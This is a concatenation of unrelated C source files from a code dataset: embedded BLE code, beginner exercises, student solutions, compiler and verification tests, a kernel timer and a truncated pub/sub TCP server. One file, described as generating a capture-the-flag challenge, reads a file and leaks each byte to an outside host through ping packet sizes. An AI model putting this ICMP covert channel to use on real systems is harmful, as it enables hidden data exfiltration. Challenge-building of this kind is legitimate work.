@param connHandle - connection handle @param attrHandle - attribute handle @param value - attribute new value @return none */ void GATTServApp_SendCCCUpdatedEvent( uint16 connHandle, uint16 attrHandle, uint16 value ) { if ( appTaskID != INVALID_TASK_ID ) { // Allocate, build and send event gattClientCharCfgUpdatedEvent_t* pEvent = (gattClientCharCfgUpdatedEvent_t*)osal_msg_allocate( (uint16)(sizeof ( gattClientCharCfgUpdatedEvent_t )) ); if ( pEvent ) { pEvent->hdr.event = GATT_SERV_MSG_EVENT; pEvent->hdr.status = SUCCESS; pEvent->method = GATT_CLIENT_CHAR_CFG_UPDATED_EVENT; pEvent->connHandle = connHandle; pEvent->attrHandle = attrHandle; pEvent->value = value; VOID osal_msg_send( appTaskID, (uint8*)pEvent ); } } } bStatus_t gattServApp_RegisterCB(gattServMsgCB_t cb) { s_GATTServCB = cb; return SUCCESS; } #endif // ( CENTRAL_CFG | PERIPHERAL_CFG ) /**************************************************************************** ****************************************************************************/
the_stack_data/184518762.c
/* 1. Find out what your system does with integer overflow, floating-point overflow, and floating-point underflow by using the experimental approach; that is, write programs having these problems. (You can check the discussion in Chapter 4 of limits.h and float.h to get guidance on the largest and smallest values.) */ #include<stdio.h> #include<limits.h> int main(){ int max = INT_MAX; int min = INT_MIN; printf("Max = %d\n", max); printf("Min = %d\n", min); printf("Max Overflow: %d.\n",max+1); printf("Min Overflow: %d\n", min-1); return 0; }
the_stack_data/9513991.c
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /* * File: main.c * Author: lacal * * Created on Utorok, 2019, novembra 5, 10:30 */ #include <stdio.h> #include <stdlib.h> #include <string.h> char* my_strcpy(char *str1, const char *str2); char* my_strcat(char *str1, const char *str2); void my_reverse(char *str); int main(int argc, char** argv) { const char str2[] = "nitra"; char str1[strlen(str2)]; my_strcpy(str1, str2); printf("First string: %s\n", str1); printf("Second string: %s\n", str2); my_reverse(str2); printf("Reverse string: %s\n", str2); char append_string[] = "jeSuper"; my_strcat(append_string, str2); printf("Append string: %s\n", append_string); return (EXIT_SUCCESS); } char* my_strcpy(char *str1, const char *str2) { char *s = str1; while (*str2) { *str1 = *str2; str1++; str2++; } *str1 = '\0'; return s; } char* my_strcat(char *str1, const char *str2) { char *s = str1 + strlen(str1); while (*str2 != '\0') { *s++ = *str2++; } *s = '\0'; return str1; } void my_reverse(char *str) { char *p1, *p2; if (!str || ! *str) return str; for (p1 = str, p2 = str + strlen(str) - 1; p2 > p1; ++p1, --p2) { *p1 ^= *p2; *p2 ^= *p1; *p1 ^= *p2; } return str; }
the_stack_data/48576543.c
/* * generate_pcap.c * Generates a challenge pcap for Sonar * Alexander Cote * 10/29/2018 */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char** argv) { FILE *f = fopen(argv[1],"r"); if(f==NULL){ puts("please give me a file. thanks bye"); return 0; } // working is the charecter we are working on right now int working =1; // base command is the command including everything besides the size static char basecommand[]="ping www.rohwrestling.com -c 5 -s "; char runcommand[100]; char number[256]; for(;working!=EOF;working=getc(f)){ //loop intill we hit the end of file working+=8; //the ping command lies and needs to offset the char by 8 for it to match up sprintf(number,"%i",working); //make a string that contains the charecter we will be sending in number form strcpy(runcommand,basecommand); //make a temp command string strcat(runcommand,number); //cat the 2 strings //run the command system(runcommand); system("sleep 5"); } return 0; }
the_stack_data/82950219.c
int main() { int a = 68 + (-9); return a + 5; }
the_stack_data/32949525.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #ifndef ALTER #define ALTER 0 #endif #ifndef VERBOSE #define VERBOSE 0 #endif int main(void) { printf("Hello World\n"); return 0; } void hello(int opt) { printf("Hello World: int test %d \n", opt); } long int read_buffer(int opt, void *ptr, size_t *len) { switch (opt) { case 0: { #if VERBOSE printf("0: Hello World : This Message [int64] = %lu \n", sizeof(int64_t)); printf("1: Hello World : sizeof(int) = %lu \n", sizeof(int)); printf("2: Hello World : sizeof( long int) = %lu \n", sizeof(long int)); printf("3: Hello World : null termiated strings \n"); printf("4: Hello World : printable data \n"); printf("5: Hello World : binary -> file \n"); #endif return 0; } case 1: { int *n = (int *)ptr; #if VERBOSE printf("buffer as int %d sz=%lu\n", *n, *len); printf("buffer as int %d sz=%lu, changing to 60 \n", *n, *len); #endif #if ALTER *n = 60; #endif return *n; } case 2: { long int *n = (long int *)ptr; #if VERBOSE printf("buffer as int %lu sz=%lu, changing to 700 \n", *n, *len); printf("buffer as int %lu sz=%lu\n", *n, *len); #endif #if ALTER *n = 700; #endif return *n; } case 3: { char *s = (char *)ptr; #if VERBOSE printf("buffer (string) as string:**%s**\n", s); #endif return strlen(s); } case 4: { char *b = (char *)ptr; char *s = (char *)malloc(*len + 1); memcpy(s, b, *len); s[*len] = '\0'; #if VERBOSE printf("buffer (printable) as string:**%s**\n", s); #endif return *len + 1; } case 5: { char *b = (char *)ptr; FILE *h = fopen( "dump", "w" ); int i; for (i = 0; i < *len; ++i) fputc(b[i], h); fclose(h); #if VERBOSE printf("buffer (binary ) dumped to file dump, length = %lu\n", *len); #endif return *len; } } return 0; }
the_stack_data/76699568.c
#include <stdio.h> #include <stdlib.h> #include <math.h> int main() /* EX2 */ { float quadrado; float cubo; float raiz; float n; do { printf("Insira um numero: \n"); scanf("%f", &n); } while (n<=0); quadrado = n * n; cubo = n * n * n; raiz = sqrt(n); printf("Numero elevado ao quadrado: %.2f \n", quadrado); printf("Numero elevado ao cubo: %.2f \n", cubo); printf("Raiz do numero: %.2f \n", raiz); return 0; }
the_stack_data/28567.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strcapitalize.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: dpadovan <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/04/11 14:47:34 by dpadovan #+# #+# */ /* Updated: 2021/04/11 14:48:11 by dpadovan ### ########.fr */ /* */ /* ************************************************************************** */ char *ft_strcapitalize(char *str) { return (0); }
the_stack_data/107790.c
/** * @license Apache-2.0 * * Copyright (c) 2020 The Stdlib Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Benchmark Cephes `fabsf`. */ #include <stdlib.h> #include <stdio.h> #include <math.h> #include <time.h> #include <sys/time.h> #define NAME "absf" #define ITERATIONS 1000000 #define REPEATS 3 /** * Define prototypes for external functions. */ extern float fabsf( float x ); /** * Prints the TAP version. */ void print_version() { printf( "TAP version 13\n" ); } /** * Prints the TAP summary. * * @param total total number of tests * @param passing total number of passing tests */ void print_summary( int total, int passing ) { printf( "#\n" ); printf( "1..%d\n", total ); // TAP plan printf( "# total %d\n", total ); printf( "# pass %d\n", passing ); printf( "#\n" ); printf( "# ok\n" ); } /** * Prints benchmarks results. * * @param elapsed elapsed time in seconds */ void print_results( double elapsed ) { double rate = (double)ITERATIONS / elapsed; printf( " ---\n" ); printf( " iterations: %d\n", ITERATIONS ); printf( " elapsed: %0.9f\n", elapsed ); printf( " rate: %0.9f\n", rate ); printf( " ...\n" ); } /** * Returns a clock time. * * @return clock time */ double tic() { struct timeval now; gettimeofday( &now, NULL ); return (double)now.tv_sec + (double)now.tv_usec/1.0e6; } /** * Generates a random number on the interval [0,1]. * * @return random number */ float rand_float() { int r = rand(); return (float)r / ( (float)RAND_MAX + 1.0f ); } /** * Runs a benchmark. * * @return elapsed time in seconds */ double benchmark() { double elapsed; double t; float x; float y; int i; t = tic(); for ( i = 0; i < ITERATIONS; i++ ) { x = ( 1000.0f*rand_float() ) - 500.0f; y = fabsf( x ); if ( y != y ) { printf( "should not return NaN\n" ); break; } } elapsed = tic() - t; if ( y != y ) { printf( "should not return NaN\n" ); } return elapsed; } /** * Main execution sequence. */ int main( void ) { double elapsed; int i; // Use the current time to seed the random number generator: srand( time( NULL ) ); print_version(); for ( i = 0; i < REPEATS; i++ ) { printf( "# c::cephes::%s\n", NAME ); elapsed = benchmark(); print_results( elapsed ); printf( "ok %d benchmark finished\n", i+1 ); } print_summary( REPEATS, REPEATS ); }
the_stack_data/242331382.c
/////////////////////////////////////////////////////////// // // Function Name : CheckPrime() // Input : Integer // Output : Integer // Description : Accept Digit From User And Find The Frequency Of That Digit(check how many times number occures in the digit) // Author : Prasad Dangare // Date : 06 Mar 2021 // /////////////////////////////////////////////////////////// #include <stdio.h> int DigitFrequency(int iNo, int i) { int iDigit = 0, iCnt = 0; if(iNo < 0) { iNo =- iNo; } if((i < 0) || (i > 9)) { printf("Invalid Digits\n"); return 0; } while(iNo > 0) { iDigit = iNo % 10; if(iDigit == i) { iCnt++; } iNo = iNo / 10; } return iCnt; } int main() { int ivalue1 = 0, ivalue2 = 0, iRet = 0; printf("Enter Number : "); scanf("%d", &ivalue1); printf("Enter the digit that you want to search "); scanf("%d", &ivalue2); iRet = DigitFrequency(ivalue1, ivalue2); printf("Number of given digits are : %d ", iRet); return 0; }
the_stack_data/62638912.c
/* *x = &a; x-> y->a y->b */ int main() { int a = 2, b = 1, **x, *y = &a; x = &y; *x = &b; return 0; }
the_stack_data/119554.c
/*@ begin PerfTuning ( def build { arg build_command = 'gcc -O3 -fopenmp -DDYNAMIC'; arg libs = '-lm -lrt'; } def performance_counter { arg repetitions = 10; } def performance_params { param T1_I1[] = [1,16,32,64,128,256,512]; param T1_I2[] = [1,16,32,64,128,256,512]; param T1_I1a[] = [1,64,128,256,512,1024,2048]; param T1_I2a[] = [1,64,128,256,512,1024,2048]; param T2_I1[] = [1,16,32,64,128,256,512]; param T2_I2[] = [1,16,32,64,128,256,512]; param T2_I1a[] = [1,64,128,256,512,1024,2048]; param T2_I2a[] = [1,64,128,256,512,1024,2048]; # Unroll-jam param U1_I1[] = [1]+range(2,17,2); param U1_I2[] = [1]+range(2,17,2); param U2_I1[] = [1]+range(2,17,2); param U2_I2[] = [1]+range(2,17,2); # Scalar replacement # Vectorization # Parallelization # Constraints constraint tileT1I1 = ((T1_I1a == 1) or (T1_I1a % T1_I1 == 0)); constraint tileT1I2 = ((T1_I2a == 1) or (T1_I2a % T1_I2 == 0)); constraint tileT2I1 = ((T2_I1a == 1) or (T2_I1a % T2_I1 == 0)); constraint tileT2I2 = ((T2_I2a == 1) or (T2_I2a % T2_I2 == 0)); constraint unroll_limit_1 = (U1_I1 == 1) or (U1_I2 == 1); constraint unroll_limit_2 = (U2_I1 == 1) or (U2_I2 == 1) ; } def search { arg algorithm = 'Randomlocal'; arg total_runs = 1000; } def input_params { param T[] = [128]; param N[] = [512]; } def input_vars { decl static double X[N][N+20] = random; decl static double A[N][N+20] = random; decl static double B[N][N+20] = random; } ) @*/ #define max(x,y) ((x) > (y)? (x) : (y)) #define min(x,y) ((x) < (y)? (x) : (y)) int i,j,t; int i1,i2,i1t,i2t; int it, jt, kt; int ii, jj, kk; int iii, jjj, kkk; /*@ begin Loop ( for (t=0; t<=T-1; t++) { transform Composite( tile = [('i1',T1_I1,'ii'),('i2',T1_I2,'jj'), (('ii','i1'),T1_I1a,'iii'),(('jj','i2'),T1_I2a,'jjj')], unrolljam = (['i1','i2'],[U1_I1,U1_I2]) ) for (i1=0; i1<=N-1; i1++) for (i2=1; i2<=N-1; i2++) { X[i1][i2] = X[i1][i2] - X[i1][i2-1] * A[i1][i2] / B[i1][i2-1]; B[i1][i2] = B[i1][i2] - A[i1][i2] * A[i1][i2] / B[i1][i2-1]; } transform Composite( tile = [('i1',T2_I1,'ii'),('i2',T2_I2,'jj'), (('ii','i1'),T2_I1a,'iii'),(('jj','i2'),T2_I2a,'jjj')], unrolljam = (['i1','i2'],[U2_I1,U2_I2]) ) for (i1=1; i1<=N-1; i1++) for (i2=0; i2<=N-1; i2++) { X[i1][i2] = X[i1][i2] - X[i1-1][i2] * A[i1][i2] / B[i1-1][i2]; B[i1][i2] = B[i1][i2] - A[i1][i2] * A[i1][i2] / B[i1-1][i2]; } } ) @*/ /*@ end @*/ /*@ end @*/
the_stack_data/598278.c
/*numPass=0, numTotal=4 Verdict:WRONG_ANSWER, Visibility:1, Input:"2", ExpOutput:"2 -3 2 ", Output:"2-32" Verdict:WRONG_ANSWER, Visibility:1, Input:"20", ExpOutput:"20 15 10 5 0 5 10 15 20 ", Output:"201510505101520" Verdict:WRONG_ANSWER, Visibility:1, Input:"4", ExpOutput:"4 -1 4 ", Output:"4-14" Verdict:WRONG_ANSWER, Visibility:0, Input:"16", ExpOutput:"16 11 6 1 -4 1 6 11 16 ", Output:"161161-4161116" */ #include <stdio.h> int x; void f(int n) { static int c=0; c++; printf("%d",n); if(c==(2*x+1)) {return;} if(c<=x) { f(n-5); } else { f(n+5); } } int main() { int N; scanf("%d",&N); int a; int b; a=N/5; b=N%5; if(b>0) { x=a+1; } else x=a; f(N); return 0; }
the_stack_data/140764629.c
#if LAB >= 9 /* See COPYRIGHT for copyright information. */ /* * The 8253 Programmable Interval Timer (PIT), * which generates interrupts on IRQ 0. */ #include <inc/x86.h> #include <inc/stdio.h> #include <kern/cpu.h> #include <kern/spinlock.h> #include <dev/pic.h> #include <dev/timer.h> static spinlock lock; // Synchronizes timer access static uint64_t base; // Number of 1/20 sec ticks elapsed static uint16_t last; // Last timer count read // Initialize the programmable interval timer. void timer_init(void) { if (!cpu_onboot()) return; spinlock_init(&lock); // Initialize 8253 clock 0 to the maximum counter value, 65535. outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT); outb(IO_TIMER1, 0xff); outb(IO_TIMER1, 0xff); #if LAB >= 99 //cprintf(" Setup timer interrupts via 8259A\n"); //pic_enable(IRQ_TIMER); #endif } // Read and returns the number of 1.193182MHz ticks since kernel boot. // This function also updates the high-order bits of our tick count, // so it MUST be called at least once per 1/18 sec. uint64_t timer_read(void) { spinlock_acquire(&lock); // Read the current timer counter. outb(TIMER_MODE, TIMER_SEL0 | TIMER_LATCH); uint8_t lo = inb(IO_TIMER1); uint8_t hi = inb(IO_TIMER1); uint16_t ctr = hi << 8 | lo; assert(ctr != 0); // If the counter has wrapped, assume we're into the next tick. if (ctr > last) base += 65535; last = ctr; uint64_t ticks = base + (65535 - ctr); spinlock_release(&lock); return ticks; } #endif /* LAB >= 9 */
the_stack_data/159516480.c
#include <stdio.h> #include <stdlib.h> #define MAX 1000009 int a[MAX],que[MAX]; int main(void) { int N,M,i,bot=0,top=0; scanf("%d%d",&N,&M); for(i=0;i<N;++i){ int windowbegin=i-M+1; scanf("%d",a+i); while(a[que[top-1]]>a[i] && top>bot) --top; que[top++]=i; while(que[bot]<windowbegin && bot<top) ++bot; if(windowbegin>=0) printf("%d\n",a[que[bot]]); } return 0; }
the_stack_data/97012766.c
#include <math.h> #include <stdlib.h> #ifdef _WIN32 #include <float.h> #define isnan _isnan #endif int main() { int my_i, iabs; double my_d, dabs; assert(abs(-1)==1); assert(abs(1)==1); assert(fabs(1.0)==1); assert(fabs(-1.0)==1); iabs=(my_i<0)?-my_i:my_i; assert(abs(my_i)==iabs); __CPROVER_assume(!isnan(my_d)); dabs=(my_d<0)?-my_d:my_d; assert(fabs(my_d)==dabs); }
the_stack_data/193703.c
/* { dg-do compile { target arm*-*-* avr-*-* mcore-*-* rx-*-* spu-*-* } } */ /* { dg-options "-O2 -fdump-tree-optimized" } */ static unsigned long __attribute__((naked)) foo (unsigned long base) { asm volatile ("dummy"); } unsigned long bar (void) { static int start, set; if (!set) { set = 1; start = foo (0); } return foo (start); } /* { dg-final { scan-tree-dump "foo \\\(long unsigned int base\\\)" "optimized" } } */
the_stack_data/949622.c
#include <stdio.h> /* replace two or more spaces with a single space */ main() { int c, ns; while ((c = getchar()) != EOF) { if (c == ' ') ++ns; if (c != ' ') ns = 0; if (ns <= 1) putchar(c); } }
the_stack_data/43888413.c
/* A simple server in the internet domain using TCP MIT Licensed */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <ctype.h> #include <sys/types.h> #include <pwd.h> #include <grp.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/stat.h> #include <netinet/in.h> #include <time.h> #include <getopt.h> #include <stdarg.h> #include <limits.h> #include <sys/resource.h> #include <errno.h> #include <sys/epoll.h> struct client { int fd; char *input_buffer; char *output_buffer; struct client *next; struct client *previous; }; struct channel { char *name; struct channel *next; struct channel *previous; u_int subscription_count; }; struct subscription { struct client *client; struct channel *channel; struct subscription *next; struct subscription *previous; }; int is_numeric (char *str); int strcpos (const char *haystack, const char c); char *substr (const char *s, int start, int stop); void str_swap_free (char **target, char *source); char *str_append (char *target, const char *data); void clear_socket_buffer (int sock); void fanout_error (const char *msg); void fanout_debug (int level, const char *format, ...); char *getsocketpeername (int fd); int channel_exists (const char *channel_name); int channel_has_subscription (struct channel *c); struct channel *get_channel (const char *channel_name); void remove_channel (struct channel *c); void destroy_channel (struct channel *c); u_int channel_count (void); struct client *get_client (int fd); void remove_client (struct client *c); void shutdown_client (struct client *c); void destroy_client (struct client *c); void client_write (struct client *c, const char *data); void client_process_input_buffer (struct client *c); u_int client_count (void); struct subscription *get_subscription (struct client *c, struct channel *channel); void remove_subscription (struct subscription *s); void destroy_subscription (struct subscription *s); u_int subscription_count (void); void announce (const char *channel_name, const char *message); void subscribe (struct client *c, const char *channel_name); void unsubscribe (struct client *c, const char *channel_name); // GLOBAL VARS u_int max_client_count = 0; u_int base_fds = 0; u_int fd_limit = 0; int client_limit = -1; long server_start_time; char ipstr[INET6_ADDRSTRLEN]; //announcement stats unsigned long long announcements_count = 0; //messages stats unsigned long long messages_count = 0; //subscription stats unsigned long long subscriptions_count = 0; //unsubscription stats unsigned long long unsubscriptions_count = 0; //ping stats unsigned long long pings_count = 0; //connection/client stats unsigned long long clients_count = 0; //over limit count unsigned long long client_limit_count = 0; static int daemonize = 0; FILE *logfile; long max_logfile_size = -1; // 0 = ERROR // 1 = WARNING // 2 = INFO // 3 = DEBUG int debug_level = 1; struct client *client_head = NULL; struct subscription *subscription_head = NULL; struct channel *channel_head = NULL; struct rlimit s_rlimit; int main (int argc, char *argv[]) { struct addrinfo *ai; struct addrinfo hints; memset (&hints, '\0', sizeof (hints)); hints.ai_flags = AI_PASSIVE | AI_ADDRCONFIG; hints.ai_socktype = SOCK_STREAM; int e; int epollfd, efd, res; int portno = 1986; int optval; socklen_t optlen = sizeof(optval); u_int listen_backlog = 25; u_int max_events = 25; char *pidfilename = NULL; server_start_time = (long)time (NULL); char buffer[1025]; struct passwd *pwd; struct group *grp; char *user; char *group; uid_t user_id = -1; gid_t group_id = -1; struct epoll_event ev, events[max_events]; struct client *client_i = NULL; struct linger so_linger; so_linger.l_onoff = 1; // immediately discard any remaining data so_linger.l_linger = 0; socklen_t clilen; struct sockaddr_storage cli_addr; static struct option long_options[] = { {"port", 1, 0, 0}, {"daemon", 0, &daemonize, 1}, {"logfile", 1, 0, 0}, {"pidfile", 1, 0, 0}, {"debug-level", 1, 0, 0}, {"help", 0, 0, 0}, {"client-limit", 1, 0, 0}, {"run-as", 1, 0, 0}, {"max-logfile-size", 1, 0, 0}, {NULL, 0, NULL, 0} }; int c; int option_index = 0; while ((c = getopt_long (argc, argv, "", long_options, &option_index)) != -1) { switch (c) { case 0: switch (option_index) { // port case 0: portno = atoi (optarg); break; // logfile case 2: if ((logfile = fopen (optarg, "a")) == NULL) { fanout_error ("ERROR cannot open logfile"); } break; // pidfile case 3: pidfilename = optarg; break; //daemon case 4: debug_level = atoi (optarg); break; //help case 5: printf("Usage: fanout [options...]\n"); printf("pubsub style fanout server\n\n"); printf("Recognized options are:\n"); printf(" --port=PORT port to run the serv\ ice on\n"); printf(" 1986 (default)\n"); printf(" --run-as=USER[:GROUP] drop permissions to \ defined levels\n"); printf(" --daemon fork to background\n\ "); printf(" --client-limit=LIMIT max connections\n"); printf(" BEWARE ulimit \ restrictions\n"); printf(" you may adjust it us\ ing ulimit -n X\n"); printf(" or sysctl -w \ fs.file-max=100000\n"); printf(" --logfile=PATH path to log file\n"); printf(" --max-logfile-size=SIZE logfile size in MB\n\ "); printf(" --pidfile=PATH path to pid file\n"); printf(" --debug-level=LEVEL verbosity level\n"); printf(" \ 0 = ERROR (default)\n"); printf(" 1 = WARNING\n"); printf(" 2 = INFO\n"); printf(" 3 = DEBUG\n"); printf(" --help show this info and e\ xit\n"); exit (EXIT_SUCCESS); //client-limit case 6: client_limit = atoi (optarg); if (client_limit < 1) { printf ("invalid client limit: %d\n", client_limit); exit (EXIT_FAILURE); } break; //run-as case 7: fanout_debug (3, "requsting permissions %s\n", optarg); user = strtok (optarg, ":"); group = strtok (NULL, ":"); if (user != NULL) { if (is_numeric (user)) { user_id = (uid_t) atoi (user); } else { if ((pwd = getpwnam (user)) == NULL) { fanout_error ("failed getting user_id"); } else { user_id = pwd->pw_uid; } } } if (group != NULL) { if (is_numeric (group)) { group_id = (gid_t) atoi (group); } else { if ((grp = getgrnam (group)) == NULL) { fanout_error ("failed getting group_id"); } else { group_id = grp->gr_gid; } } } break; //max-logfile-size case 8: fanout_debug (3, "max logfile size: %s MB\n", optarg); max_logfile_size = atol (optarg); break; } break; default: exit (EXIT_FAILURE); } } if (optind < argc) { fanout_debug (0, "ERROR invalid args: "); while (optind < argc) printf ("%s ", argv[optind++]); printf ("\n"); exit (EXIT_FAILURE); } if ( ! (portno > 0)) { fanout_debug (0, "ERROR invalid port\n"); exit (EXIT_FAILURE); } char buf[6]; snprintf(buf, sizeof buf, "%d", portno); e = getaddrinfo (NULL, buf, &hints, &ai); if (e != 0) { fanout_error ("getaddrinfo"); exit (EXIT_FAILURE); } int nfds = 0; struct addrinfo *runp = ai; while (runp != NULL) { ++nfds; runp = runp->ai_next; } struct epoll_event fds[nfds]; for (nfds = 0, runp = ai; runp != NULL; runp = runp->ai_next) { memset(&fds[nfds], 0, sizeof(struct epoll_event)); fds[nfds].data.fd = socket (runp->ai_family, runp->ai_socktype, runp->ai_protocol); if (fds[nfds].data.fd == -1) { fanout_error ("ERROR opening socket"); exit (EXIT_FAILURE); } fds[nfds].events = EPOLLIN; optval = 1; if (runp->ai_family==AF_INET6 && setsockopt (fds[nfds].data.fd, IPPROTO_IPV6, IPV6_V6ONLY, &optval, optlen) == -1) { fanout_error ("failed setting IPV6_V6ONLY"); exit (EXIT_FAILURE); } optval = 1; if (setsockopt (fds[nfds].data.fd, SOL_SOCKET, SO_REUSEADDR, &optval, optlen) == -1) { fanout_error ("failed setting REUSEADDR"); exit (EXIT_FAILURE); } if (bind (fds[nfds].data.fd, runp->ai_addr, runp->ai_addrlen ) != 0) { fanout_error ("ERROR on binding"); exit (EXIT_FAILURE); } else { if (listen (fds[nfds].data.fd, listen_backlog) != 0) { fanout_error ("ERROR listening on server socket"); exit (EXIT_FAILURE); } ++nfds; } } freeaddrinfo(ai); if((epollfd = epoll_create (nfds)) < 0) fanout_error ("ERROR creating epoll instance"); for (int n = 0; n < nfds; n++) { if (epoll_ctl (epollfd, EPOLL_CTL_ADD, fds[n].data.fd, &fds[n]) == -1) { fanout_error ("epoll_ctl: srvsock"); exit (EXIT_FAILURE); } } if (daemonize) { pid_t pid, sid; /* Fork off the parent process */ pid = fork (); if (pid < 0) { exit (EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { /* Write pid to file */ FILE *pidfile = NULL; pidfile = fopen (pidfilename, "w+"); if (pidfile != NULL) { fprintf (pidfile, "%d\n", (int) pid); fclose (pidfile); } else { fanout_error ("ERROR cannot open pidfile"); exit (EXIT_FAILURE); } exit (EXIT_SUCCESS); } /* Change the file mode mask */ umask (0); /* Create a new SID for the child process */ sid = setsid (); if (sid < 0) { /* Log any failure */ exit (EXIT_FAILURE); } /* Close out the standard file descriptors */ close (STDIN_FILENO); close (STDOUT_FILENO); close (STDERR_FILENO); } /* Change the current working directory */ if ((chdir ("/")) < 0) { /* Log the failure */ exit (EXIT_FAILURE); } getrlimit (RLIMIT_NOFILE,&s_rlimit); // epollfd, srvsock, extra for reporting busy base_fds = 3; //additional padding for safety base_fds += 10; //stdin/out/err if ( ! daemonize) { base_fds += 3; } if (logfile) { base_fds++; } fd_limit = s_rlimit.rlim_cur; if (fd_limit <= base_fds) { fanout_debug (0, "not enough file descriptors\n"); exit (EXIT_FAILURE); } int calculated_client_limit = fd_limit - base_fds; //user defined if (client_limit > 0) { //cope with limit greater than calculated limit if (client_limit > calculated_client_limit) { struct rlimit i_rlimit; i_rlimit.rlim_cur = client_limit + base_fds; i_rlimit.rlim_max = client_limit + base_fds; fanout_debug (1, "attempting to set rlimit\n"); if(setrlimit (RLIMIT_NOFILE,&i_rlimit) == -1) fanout_error ("ERROR setting rlimit"); getrlimit (RLIMIT_NOFILE,&s_rlimit); } } else { client_limit = calculated_client_limit; } //set group first so as to not lose root permissions for user set below if ((int) group_id > -1) { fanout_debug (3, "attempting to set group %s\n", getgrgid (group_id)->gr_name); if (setgid (group_id) == -1) { fanout_error ("failed setting group"); } } //set user if ((int) user_id > -1) { fanout_debug (3, "attempting to set user %s\n", getpwuid (user_id)->pw_name); if (setuid (user_id) == -1) { fanout_error ("failed setting user"); } } fanout_debug (1, "rlimit set at: Soft=%d Hard=%d\n", s_rlimit.rlim_cur, s_rlimit.rlim_max); fanout_debug (2, "base fds: %d\n", base_fds); fanout_debug (2, "max client connections: %d\n", client_limit); while (1) { int nevents; fanout_debug (3, "server waiting for new activity\n"); errno = 0; if ((nevents = epoll_wait (epollfd, events, max_events, -1)) == -1) { if (errno == EINTR) { continue; } fanout_error ("epoll_wait"); } if (nevents == 0) { continue; } for (int n = 0; n < nevents; n++) { // new connection efd = events[n].data.fd; fanout_debug (3, "processing event %d of %d\n", (n+1), nevents); fanout_debug (3, "current event fd %d\n", efd); int newconnection = 0; for (int m = 0; m < nfds; m++) { if (efd == fds[m].data.fd) { newconnection = 1; break; } } if (newconnection) { if ((client_i = calloc (1, sizeof (struct client))) == NULL) { fanout_debug (0, "memory error\n"); continue; } clilen = sizeof (cli_addr); if ((client_i->fd = accept (efd, (struct sockaddr *)&cli_addr, &clilen)) == -1) { fanout_debug (0, "%s\n", strerror (errno)); free (client_i); fanout_error ("failed on accept ()"); continue; } int current_count = client_count (); if (client_limit > 0 && current_count >= client_limit) { fanout_debug (1, "hit connection limit of: %d\n", client_limit); errno = 0; ssize_t sentout = send (client_i->fd, "debug!busy\n", strlen ("debug!busy\n"), 0); if ((sentout == -1) && errno) { fanout_debug (0, "%s\n", strerror (errno)); } close (client_i->fd); free (client_i); if (client_limit_count == ULLONG_MAX) { fanout_debug (1, "wow, you've limited alot..\ resetting counter\n"); client_limit_count = 0; } client_limit_count++; continue; } //add new socket to watch list ev.events = EPOLLIN; ev.data.fd = client_i->fd; if (epoll_ctl (epollfd, EPOLL_CTL_ADD, client_i->fd, &ev) == -1) { fanout_error ("epoll_ctl: srvsock"); } optval = 1; if ((setsockopt (client_i->fd, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen)) == -1) fanout_error ("failed setting keepalive"); if ((setsockopt (client_i->fd, SOL_SOCKET, SO_LINGER, &so_linger, sizeof so_linger)) == -1) fanout_error ("failed setting linger"); //Shove current new connection in the front of the line client_i->next = client_head; if (client_head != NULL) { client_head->previous = client_i; } client_head = client_i; current_count ++; if (current_count > max_client_count) { max_client_count = current_count; } //char *peer = getsocketpeername (client_i->fd); //fanout_debug (2, "client socket %d connected from %s\n", fanout_debug (2, "client socket %d connected\n", client_i->fd); client_write (client_i, "debug!connected...\n"); subscribe (client_i, "all"); //stats if (clients_count == ULLONG_MAX) { fanout_debug (1, "wow, you've accepted alot of connections.\ .resetting counter\n"); clients_count = 0; } clients_count++; } else { //should be an existing client connection if ((client_i = get_client (efd)) != NULL) { // Process data from socket i fanout_debug (3, "processing client %d\n", client_i->fd); memset (buffer, 0, sizeof (buffer)); res = recv (client_i->fd, buffer, 1024, 0); buffer[1024] = '\0'; if (res <= 0) { fanout_debug (2, "client socket disconnected\n"); //del socket from watch list if (epoll_ctl (epollfd, EPOLL_CTL_DEL, client_i->fd, &ev) == -1) { fanout_error ("epoll_ctl: srvsock"); } fanout_debug (3, "client socket removed from epoll watch list\n"); shutdown_client (client_i); } else { // Process data in buffer fanout_debug (3, "%d bytes read: [%.*s]\n", res, (res - 1), buffer); client_i->input_buffer = str_append ( client_i->input_buffer, buffer); client_process_input_buffer (client_i); } } break; }//end else }//end for }//end while (1) for (int n = 0; n < nfds; n++) { close (fds[n].data.fd); } return 0; } int is_numeric (char *str) { while (*str) { if (!isdigit (*str)) return 0; str++; } return 1; } int strcpos (const char *haystack, const char c) { for (int i = 0; i <= strlen (haystack); i++) { if (haystack[i] == c) return i; } return -1; } char *substr (const char *s, int start, int stop) { char *v; asprintf(&v, "%.*s", stop - start + 1, &s[start]); return v; } void str_swap_free (char **target, char *source) { free (*target); *target = source; } char *str_append (char *target, const char *data) { char *newtarget; if (data == NULL) { return target; } if (target == NULL) { asprintf (&target, "%s", data); return target; } int len = strlen (target) + strlen (data) + 1; newtarget = realloc (target, len); if (newtarget == NULL) { fanout_error ("ERROR unable to allocate memory"); exit (EXIT_FAILURE); } newtarget = strcat (newtarget, data); return newtarget; } void clear_socket_buffer (int sock) { char buffer[1025]; for(;;) { int res = read (sock, buffer, 1024); if (res < 0) { fanout_debug (0, "%s\n", "failed clearing socket buffer"); break; } if (!res) break; } } void fanout_error(const char *msg) { fanout_debug (0, "%s: 